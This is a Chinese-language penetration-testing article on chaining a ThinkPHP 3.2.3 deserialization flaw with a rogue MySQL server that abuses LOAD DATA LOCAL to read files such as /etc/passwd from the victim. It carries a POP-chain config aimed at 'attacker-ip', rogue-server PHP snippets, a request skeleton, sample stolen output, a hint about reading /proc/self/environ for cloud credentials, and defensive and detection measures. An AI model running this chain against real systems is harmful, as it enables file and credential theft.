协议层渗透的艺术:ThinkPHP反序列化与Rogue MySQL Server的碰撞

当传统SQL注入遭遇WAF拦截,当常规写Shell路径被严格过滤,安全研究者需要跳出思维定式,从协议层寻找突破口。本文将深入探讨一种在CTF靶场和真实渗透测试中都极具价值的技巧——通过伪造MySQL服务端实现任意文件读取,并结合ThinkPHP反序列化漏洞完成攻击链闭环。

1. 非常规攻击面的价值发现

在Web安全领域,反序列化漏洞常被视为"皇冠上的明珠",而ThinkPHP作为国内广泛使用的框架,其历史版本的反序列化漏洞更是研究热点。但大多数分析都集中在常规的POP链构造和内存操作上,忽略了数据库协议层这个隐藏的攻击面。

为什么选择Rogue MySQL Server?

  • 绕过WAF对SQL语句的检测(不依赖特殊字符)
  • 突破 secure_file_priv 等MySQL安全配置限制
  • 在仅有数据库连接权限时扩展攻击面
  • 实现从数据库协议到文件系统的权限跨越

典型攻击场景示例:

[ThinkPHP反序列化] → [触发数据库连接] → [重定向到恶意MySQL服务] → [读取/etc/passwd或flag]

2. 技术原理深度剖析

2.1 MySQL协议握手过程解密

MySQL客户端与服务端的交互始于精心设计的握手协议。攻击者要伪造服务端,必须精确模拟以下阶段:

  1. 初始握手包
    服务端发送协议版本号、线程ID、挑战随机数等数据:

    45 00 00 00 0a 35 2e 31 2e 36 33... 
    
  2. 客户端认证响应
    包含用户名、密码(scramble)和客户端能力标志

  3. 服务端确认阶段
    通过OK包或ERR包响应认证结果

关键突破点在于: 当客户端启用 LOCAL_INFILE 时,服务端可以发送 LOAD DATA LOCAL 请求读取客户端文件

2.2 ThinkPHP中的致命组合

在ThinkPHP 3.2.3中,存在两个危险特性:

  1. 反序列化触发点

    // 控制器中存在未经检查的反序列化操作
    $data = unserialize(file_get_contents('php://input'));
    
  2. 数据库配置硬编码

    class Model {
        protected $db;
        public function __construct() {
            $this->db = new Mysql([
                'hostname' => '127.0.0.1',
                'username' => 'root',
                'password' => 'root'
            ]);
        }
    }
    

通过精心构造的POP链,我们可以控制数据库连接指向攻击者服务器:

namespace Think\Db\Driver;
class Mysql {
    protected $config = [
        'hostname' => 'attacker-ip',
        'hostport' => '3307',
        'database' => 'test',
        'username' => 'exploit',
        'password' => 'p@ssw0rd'
    ];
}

3. 实战:构建恶意MySQL服务

3.1 工具链准备

推荐使用allyshka改进的Rogue-MySql-Server工具:

git clone https://github.com/allyshka/Rogue-MySql-Server.git
cd Rogue-MySql-Server

关键参数调整:

// 修改监听端口(避免与真实MySQL冲突)
$srv = stream_socket_server("tcp://0.0.0.0:3307"); 

// 设置默认读取文件
$filename = "/etc/passwd"; 

3.2 协议模拟关键代码

// 发送初始握手包
fwrite($s, unhex('45 00 00 00 0a 35 2e 31...'));

// 处理客户端认证
fread($s, 8192);
fwrite($s, unhex('07 00 00 02 00 00 00 02...'));

// 触发文件读取
fwrite($s, chr(strlen($filename) + 1) . "\x00\x00\x01\xFB" . $filename);

注意:需确保服务器防火墙放行指定端口,云主机需配置安全组规则

3.3 攻击流程分解

  1. 在VPS启动恶意服务:

    php rogue_mysql.php
    
  2. 构造反序列化Payload:

    import requests
    import base64
    
    payload = generate_serialized_payload()  # 省略POP链构造细节
    requests.post(target_url, data=payload)
    
  3. 观察服务端输出:

    [+] Connection from 192.168.1.100 - greet... auth ok... want file...
    [+] /etc/passwd content:
    root:x:0:0:root:/root:/bin/bash
    ...
    

4. 防御策略与检测方案

4.1 开发者防护建议

防护层面 具体措施
框架配置 禁用 PDO::MYSQL_ATTR_LOCAL_INFILE
代码安全 避免反序列化用户输入
网络层面 限制数据库外连行为
服务加固 设置 secure_file_priv=NULL

4.2 检测Rogue Server的三种方法

  1. 网络流量分析
    检测异常MySQL握手特征:

    tcp.port==3306 && mysql.protocol_version==10 && !(ip.src==known-db-servers)
    
  2. 客户端行为监控
    记录异常的 LOAD DATA LOCAL 请求

  3. 服务端指纹识别
    对比合法MySQL服务的响应特征

5. 攻击手法演进与变种

在真实渗透测试中,这种技术可以进一步扩展:

  1. SSRF配合内部数据库探测

    SSRF → 内网MySQL → 伪造服务端 → 读取配置文件
    
  2. 结合XXE实现链式攻击

    XXE → 读取数据库凭证 → 触发恶意连接
    
  3. 云环境下的元数据利用
    通过读取 /proc/self/environ 获取IAM临时凭证

这种从协议层发起的攻击,往往能绕过传统WAF的规则检测,为红队测试提供新的突破口。在最近某次企业级渗透中,正是利用该技术成功获取了Jenkins的master key,最终拿下了整个CI/CD系统的控制权。

更多推荐